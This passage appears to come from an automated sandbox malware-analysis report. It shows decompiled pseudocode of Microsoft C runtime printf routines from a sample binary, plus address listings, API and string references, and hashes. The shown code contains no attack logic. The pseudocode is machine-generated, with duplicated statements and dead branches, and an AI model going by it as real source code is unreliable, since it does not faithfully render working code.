														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430830( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E004308B0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041E420();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422F10(_t574))) = 0x16;
										E00422CA0(_t558, _t574, _t625, _t626, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041AEC0(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041E420();
									_t630 = _t630 + 0x14;
									if(_t507 == 1) {
										asm("int3");
									}
								}
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041AEC0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L00422F10(_t561))) = 0x16;
									E00422CA0(_t558, _t561, _t625, _t626, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041AEC0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
						__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041AEC0(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E0042BD60(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00434d87
0x00434d87
0x00434d87
0x00434d87
0x00434d87
0x00434d87
0x00434d8b
0x00434d90
0x00434d93
0x00434da0
0x00000000
0x00000000
0x00434da6
0x00434da6
0x00434da8
0x00434db6
0x00434daa
0x00434daa
0x00434daa
0x00434dc0
0x00434dc6
0x00434dd3
0x00434dd5
0x00434dda
0x00434ddc
0x00434de1
0x00434de6
0x00434de8
0x00434ded
0x00434df3
0x00434df5
0x00434df5
0x00434df3
0x00434dfd
0x00434e45
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x0043533c
0x00435342
0x0043534c
0x00435361
0x00435376
0x00435378
0x0043537c
0x0043537c
0x00435363
0x00435363
0x00435367
0x00435367
0x0043534e
0x0043534e
0x00435352
0x00435352
0x0043534c
0x0043538c
0x00435398
0x004353ae
0x004353b3
0x004353b3
0x004353c9
0x004353ce
0x004353d7
0x004353df
0x004353f5
0x004353fa
0x004353fa
0x004353df
0x00435401
0x004354d5
0x004354e8
0x004354ed
0x00000000
0x00435407
0x00435407
0x0043540b
0x00000000
0x00000000
0x00435411
0x00435411
0x0043541e
0x00435427
0x0043542d
0x0043542d
0x0043543c
0x00435444
0x00000000
0x00000000
0x0043544a
0x00435453
0x00435472
0x00435477
0x0043547a
0x00435489
0x00435496
0x004354a1
0x004354a1
0x00000000
0x004354a1
0x00435498
0x0043549f
0x004354ad
0x004354c6
0x004354cb
0x00000000
0x004354cb
0x00000000
0x0043549f
0x004354d3
0x004354f0
0x004354f7
0x004354ff
0x00435515
0x0043551a
0x0043551a
0x004354ff
0x004354f7
0x0043551d
0x00435521
0x00435529
0x0043552e
0x00435531
0x00435531
0x00435538
0x00435538
0x0043460f
0x00434615
0x00434622
0x00434627
0x00000000
0x0043463a
0x00434644
0x0043466b
0x00434652
0x00434663
0x00434663
0x00434644
0x00434675
0x0043467b
0x00434687
0x0043468a
0x00434698
0x0043469b
0x004346a8
0x0043474d
0x00434753
0x00434760
0x00000000
0x00000000
0x00434766
0x0043476c
0x00000000
0x00434773
0x00434773
0x0043478b
0x00434790
0x00434793
0x00434795
0x0043484f
0x00434862
0x00434867
0x00000000
0x0043479b
0x004347ae
0x004347b3
0x004347b9
0x004347bb
0x004347c4
0x004347c4
0x004347c7
0x004347d3
0x004347d7
0x004347dd
0x004347df
0x004347e4
0x004347e6
0x004347eb
0x004347f0
0x004347f2
0x004347f7
0x004347fa
0x004347fd
0x004347ff
0x004347ff
0x004347fd
0x00434800
0x00434800
0x00434807
0x00000000
0x00434809
0x0043480e
0x0043482a
0x00434832
0x0043483f
0x00434844
0x00000000
0x00434844
0x00434807
0x00000000
0x0043486f
0x0043486f
0x00434876
0x00434879
0x0043487c
0x0043487f
0x00434882
0x00434885
0x00434888
0x0043488f
0x00434896
0x00000000
0x00000000
0x004348a2
0x004348a2
0x004348a9
0x004348b5
0x004348b8
0x004348be
0x004348c5
0x00000000
0x00000000
0x004348c7
0x004348c7
0x004348cd
0x004348cd
0x004348d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434917
0x00434917
0x0043491e
0x00434921
0x0043494b
0x0043494e
0x0043494e
0x00434951
0x00434958
0x00434958
0x0043495c
0x00434923
0x00434923
0x0043492f
0x00434932
0x00434936
0x00434938
0x0043493b
0x0043493b
0x0043493e
0x00434944
0x00434946
0x00434946
0x00434949
0x00000000
0x00000000
0x00434964
0x00434964
0x00000000
0x00000000
0x00434970
0x00434970
0x00434977
0x0043497a
0x0043499a
0x0043499d
0x0043499d
0x004349a7
0x004349a7
0x004349ab
0x0043497c
0x0043497c
0x00434988
0x0043498b
0x0043498f
0x00434991
0x00434991
0x00434998
0x00000000
0x00000000
0x004349b3
0x004349b3
0x004349ba
0x004349c6
0x004349c9
0x004349cf
0x004349d6
0x00434ae9
0x00000000
0x00434ae9
0x004349dc
0x004349dc
0x004349e2
0x004349e2
0x004349e9
0x00000000
0x00434a1f
0x00434a1f
0x00434a22
0x00434a25
0x00434a28
0x00434a50
0x00434a50
0x00434a53
0x00434a56
0x00434a59
0x00434a7e
0x00434a7e
0x00434a81
0x00434a84
0x00434a87
0x00434ac0
0x00434ad1
0x00000000
0x00434ad1
0x00434a89
0x00434a89
0x00434a8c
0x00434a8f
0x00434a92
0x00000000
0x00000000
0x00434a94
0x00434a94
0x00434a97
0x00434a9a
0x00434a9d
0x00000000
0x00000000
0x00434a9f
0x00434a9f
0x00434aa2
0x00434aa5
0x00434aa8
0x00000000
0x00000000
0x00434aaa
0x00434aaa
0x00434aad
0x00434ab0
0x00434ab3
0x00000000
0x00000000
0x00434ab5
0x00434ab5
0x00434ab8
0x00434abb
0x00434abe
0x00434ac2
0x00000000
0x00434ac2
0x00000000
0x00434abe
0x00434a5b
0x00434a5b
0x00434a5e
0x00434a62
0x00434a65
0x00000000
0x00434a67
0x00434a6a
0x00434a6d
0x00434a70
0x00434a73
0x00434a79
0x00000000
0x00434a79
0x00434a65
0x00434a2a
0x00434a2a
0x00434a2d
0x00434a31
0x00434a34
0x00000000
0x00434a36
0x00434a39
0x00434a3c
0x00434a3f
0x00434a42
0x00434a48
0x00000000
0x00434a48
0x00000000
0x00434ad3
0x00434ad6
0x00434ad9
0x00000000
0x00000000
0x004349f0
0x004349f0
0x004349f3
0x004349f6
0x004349f9
0x00434a11
0x00434a14
0x00434a14
0x00434a17
0x004349fb
0x004349fe
0x00434a01
0x00434a07
0x00434a0c
0x00434a0c
0x00000000
0x00000000
0x00434ade
0x00434ade
0x00434ae1
0x00434ae1
0x00434ae6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434aee
0x00434aee
0x00434af5
0x00434b01
0x00434b04
0x00434b0a
0x00434b11
0x00000000
0x00435332
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x004352ec
0x004352ef
0x004352f2
0x004352f5
0x004352f8
0x004352fb
0x00435301
0x00435301
0x00435301
0x00435309
0x0043530d
0x00000000
0x00000000
0x0043530f
0x0043530f
0x00435312
0x00435315
0x00435315
0x0043531a
0x0043531d
0x00435320
0x00435323
0x00435326
0x00435329
0x0043532c
0x0043532c
0x0043532f
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00435332
0x00434b17
0x00434b1d
0x00434b1d
0x00434b24
0x00000000
0x00434e7e
0x00434e7e
0x00434e85
0x00434e8c
0x00434e8c
0x00434e8f
0x00000000
0x00000000
0x00434b2b
0x00434b2e
0x00434b2e
0x00434b34
0x00434b36
0x00434b39
0x00434b39
0x00434b3e
0x00434b3e
0x00000000
0x00000000
0x00434c6b
0x00434c6e
0x00434c6e
0x00434c73
0x00434c75
0x00434c78
0x00434c78
0x00434c7e
0x00434c7e
0x00000000
0x00000000
0x0043504b
0x0043504b
0x00000000
0x00000000
0x00434bd5
0x00434bd5
0x00434be1
0x00434be7
0x00434bee
0x00434bfc
0x00434bfc
0x00434c02
0x00434c05
0x00434c11
0x00434c66
0x00000000
0x00434c66
0x00434bf0
0x00434bf0
0x00434bf6
0x00434bfa
0x00434c16
0x00434c19
0x00434c19
0x00434c1f
0x00434c47
0x00434c4e
0x00434c54
0x00434c57
0x00434c5a
0x00434c60
0x00434c63
0x00434c21
0x00434c21
0x00434c27
0x00434c2a
0x00434c2d
0x00434c33
0x00434c36
0x00434c39
0x00434c3b
0x00434c3e
0x00434c3e
0x00000000
0x00434c1f
0x00000000
0x00000000
0x00434e95
0x00434e98
0x00434e9b
0x00434e9e
0x00434ea4
0x00434ea7
0x00434eae
0x00434eb2
0x00434ebd
0x00434ebd
0x00434ec1
0x00434ed8
0x00434ed8
0x00434edf
0x00434ee1
0x00434ee1
0x00434ee8
0x00434ee8
0x00434eef
0x00434f00
0x00434f0f
0x00434f12
0x00434f16
0x00434f2c
0x00434f18
0x00434f18
0x00434f1b
0x00434f21
0x00434f27
0x00434f27
0x00434f16
0x00434f36
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00434f45
0x00434f4b
0x00434f51
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f69
0x00434f6a
0x00434f6d
0x00434f6e
0x00434f71
0x00434f72
0x00434f78
0x00434f79
0x00434f87
0x00434f89
0x00434f8f
0x00434f8f
0x00434f95
0x00434f97
0x00434f9b
0x00434f9d
0x00434fa5
0x00434fa6
0x00434fa9
0x00434faa
0x00434fb8
0x00434fba
0x00434fba
0x00434f9b
0x00434fbd
0x00434fc4
0x00434fc7
0x00434fcc
0x00434fcc
0x00434fd2
0x00434fd4
0x00434fdc
0x00434fdd
0x00434fe0
0x00434fe1
0x00434ff0
0x00434ff2
0x00434ff2
0x00434fd2
0x00434ff5
0x00434ff8
0x00434ffb
0x00434ffe
0x00435003
0x00435009
0x0043500c
0x0043500f
0x0043500f
0x00435012
0x00435012
0x00435015
0x00435021
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00435332
0x00434ec3
0x00434ec3
0x00434eca
0x00434ecd
0x00000000
0x00000000
0x00434ecf
0x00434ecf
0x00000000
0x00434ecf
0x00434eb4
0x00434eb4
0x00000000
0x00000000
0x00434b41
0x00434b44
0x00434b44
0x00434b4a
0x00434ba5
0x00434bad
0x00434bb4
0x00434bba
0x00434bc0
0x00434b4c
0x00434b4c
0x00434b56
0x00434b5a
0x00434b62
0x00434b69
0x00434b76
0x00434b7d
0x00434b89
0x00434b8f
0x00434b96
0x00434b98
0x00434b98
0x00434b9f
0x00434bc7
0x00434bcd
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00435029
0x0043502c
0x0043502f
0x00435032
0x00000000
0x00000000
0x00000000
0x00000000
0x0043508c
0x0043508c
0x00435096
0x00435096
0x0043509c
0x0043509e
0x004350a1
0x004350a1
0x004350a7
0x004350a7
0x00000000
0x00000000
0x00435044
0x00435044
0x00000000
0x00000000
0x00434c81
0x00434c81
0x00434c85
0x00434c93
0x00434c96
0x00434c87
0x00434c87
0x00434c87
0x00434c9c
0x00434ca2
0x00434ca8
0x00434cb4
0x00434cba
0x00434cba
0x00434cc0
0x00434d27
0x00434d27
0x00434d2b
0x00434d2d
0x00434d33
0x00434d33
0x00434d36
0x00434d39
0x00434d3f
0x00434d3f
0x00434d3f
0x00434d4b
0x00434d4e
0x00434d54
0x00434d56
0x00000000
0x00000000
0x00434d58
0x00434d58
0x00434d5e
0x00434d61
0x00434d63
0x00000000
0x00000000
0x00434d65
0x00434d6b
0x00434d6e
0x00434d6e
0x00434d76
0x00434d76
0x00434d7c
0x00434d7c
0x00434d7f
0x00000000
0x00434cc2
0x00434cc2
0x00434cc2
0x00434cc6
0x00434cc8
0x00434ccd
0x00434ccd
0x00434cd0
0x00434cd7
0x00434cda
0x00434ce0
0x00434ce0
0x00434ce0
0x00434cec
0x00434cef
0x00434cf5
0x00434cf7
0x00000000
0x00000000
0x00434cf9
0x00434cf9
0x00434cff
0x00434d02
0x00434d04
0x00000000
0x00000000
0x00434d06
0x00434d0c
0x00434d0f
0x00434d0f
0x00434d17
0x00434d1d
0x00434d20
0x00434d22
0x00434d82
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00435332
0x00000000
0x0043503b
0x0043503b
0x00000000
0x00000000
0x00435057
0x00435057
0x00435061
0x00435061
0x0043506b
0x0043506b
0x00435071
0x00435073
0x0043507d
0x0043507d
0x00435080
0x00435083
0x00435083
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x004351c8
0x004351c8
0x004351ce
0x004351d4
0x004351da
0x00000000
0x00435188
0x00435188
0x00435188
0x0043518f
0x00000000
0x00000000
0x00435191
0x00435191
0x0043519c
0x004351a2
0x004351a4
0x004351aa
0x004351ad
0x004351af
0x004351b5
0x004351be
0x004351c3
0x004351e0
0x004351e3
0x004351e3
0x004351e8
0x004351ed
0x004351ed
0x004351f3
0x004351f5
0x004351fb
0x00435201
0x00435201
0x0043520a
0x0043520a
0x004351f3
0x00435210
0x00435214
0x00435222
0x00435225
0x00435228
0x0043522f
0x00435231
0x00435231
0x00435216
0x00435216
0x00435216
0x0043523e
0x0043523e
0x00435244
0x00435246
0x00435246
0x0043524d
0x00435250
0x00435253
0x00435253
0x00435253
0x00435259
0x0043525c
0x0043525f
0x00435261
0x00000000
0x00000000
0x00435263
0x00435269
0x00435269
0x0043526f
0x00000000
0x00000000
0x00435271
0x00435271
0x00435274
0x00435277
0x0043527e
0x00435285
0x0043528d
0x00435293
0x00435296
0x00435299
0x004352a0
0x004352ac
0x004352b2
0x004352b8
0x004352bf
0x004352c1
0x004352c7
0x004352c7
0x004352cd
0x004352cd
0x004352d3
0x004352d6
0x004352dc
0x004352e1
0x004352e4
0x00435253
0x00435253
0x00435259
0x0043525c
0x0043525f
0x00435261
0x00000000
0x00000000
0x00000000
0x00435261
0x00435253
0x00435193
0x00435193
0x0043519a
0x00000000
0x00000000
0x00000000
0x0043519a
0x00000000
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00000000
0x004348f1
0x004348f4
0x004348f7
0x00000000
0x00000000
0x004348fc
0x004348ff
0x00434904
0x00000000
0x00000000
0x004348e6
0x004348e6
0x004348e9
0x004348ec
0x00000000
0x00000000
0x004348db
0x004348de
0x004348e1
0x00000000
0x00000000
0x00434909
0x00434909
0x0043490c
0x0043490c
0x0043490f
0x00000000
0x00000000
0x00434912
0x00000000
0x00000000
0x004346ae
0x004346b0
0x004346be
0x004346b2
0x004346b2
0x004346b2
0x004346c8
0x004346ce
0x004346db
0x004346dd
0x004346e2
0x004346e4
0x004346e9
0x004346ee
0x004346f0
0x004346f5
0x004346fb
0x004346fd
0x004346fd
0x004346fb
0x004346fe
0x00434705
0x00000000
0x00434707
0x0043470c
0x00434728
0x00434730
0x0043473d
0x00434742
0x00000000
0x00434742
0x00434705
0x004346a8
0x0043553d
0x00435544
0x0043555b
0x0043555b
0x00435565
0x00435565
0x0043556b
0x00435578
0x0043557a
0x0043557f
0x00435581
0x00435586
0x0043558b
0x0043558d
0x00435592
0x00435598
0x0043559a
0x0043559a
0x00435598
0x004355a2
0x004355ed
0x004355f6
0x004355fb
0x004355a4
0x004355a9
0x004355c5
0x004355cd
0x004355da
0x004355df
0x004355df
0x00000000
0x004355a2
0x00435546
0x0043554d
0x00000000
0x00000000
0x0043554f
0x0043554f
0x00000000
0x0043554f
0x00434dff
0x00434dff
0x00434e04
0x00434e20
0x00434e28
0x00434e32
0x00434e35
0x00434e3a
0x00435601
0x0043560e
0x0043560e
0x00434e4a
0x00434e50
0x00434e70
0x00434e52
0x00434e5f
0x00434e5f
0x00434e72
0x00000000
0x00434e72

APIs

_get_int_arg.LIBCMTD ref: 00434D8B
__get_printf_count_output.LIBCMTD ref: 00434D99
__invalid_parameter.LIBCMTD ref: 00434E20
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434E35
_write_multi_char.LIBCMTD ref: 004353AE
_write_string.LIBCMTD ref: 004353C9
_write_multi_char.LIBCMTD ref: 004353F5
_wctomb_s.LIBCMTD ref: 00435472

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004346E9, 00434719, 00434DE1, 00434E11
("'n' format specifier disabled", 0), xrefs: 00434DD5, 00434E1B
_output_s_l, xrefs: 0043471E, 00434E16
("Incorrect format specifier", 0), xrefs: 004346DD, 00434723
-, xrefs: 0043534E

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: 44555dad7e7641110a76b78fc9c29f3d96ca3ff0d04ad03f6aaf8bf7d63379f3
Instruction ID: 22e79122aae89229b14a82d5ddf3d41462393c2cd5d53dde8c96b48c07f26555
Opcode Fuzzy Hash: 44555dad7e7641110a76b78fc9c29f3d96ca3ff0d04ad03f6aaf8bf7d63379f3
Instruction Fuzzy Hash: 8CA1AF70D016289BDF24DF54CC4ABEEB7B1AB89309F2051DAE5187B281D7786E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C19A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043C19A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E00428400(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00433FB0() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E420();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043CB90(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043CBD0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043CB90(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043CBD0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
